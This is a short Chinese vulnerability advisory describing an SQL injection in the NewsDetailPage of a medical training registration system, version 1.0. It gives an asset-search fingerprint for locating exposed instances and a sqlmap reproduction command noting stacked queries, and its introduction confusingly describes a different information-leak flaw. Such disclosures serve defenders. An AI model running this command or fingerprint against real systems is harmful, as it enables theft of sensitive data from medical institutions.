远秋医学培训报名系统v1.0 NewsDetailPage存在SQL注入漏洞
一、漏洞简介
远秋医学在线考试系统采用通用的试题库管理软件，适用于各级各类医学院校和医院。远秋医学在线考试系统某接口存在未授权信息泄露漏洞，攻击者可利用该漏洞获取数据库敏感信息。远秋医学培训报名系统v1.0 NewsDetailPage存在SQL注入漏洞
二、影响版本
- 远秋医学培训报名系统v1.0
三、资产测绘
title="远秋医学培训报名系统v1.0"
四、漏洞复现
python3 sqlmap.py -u "http://127.0.0.1/NewsDetailPage.aspx?key=news&id=7" --batch
stacked queries
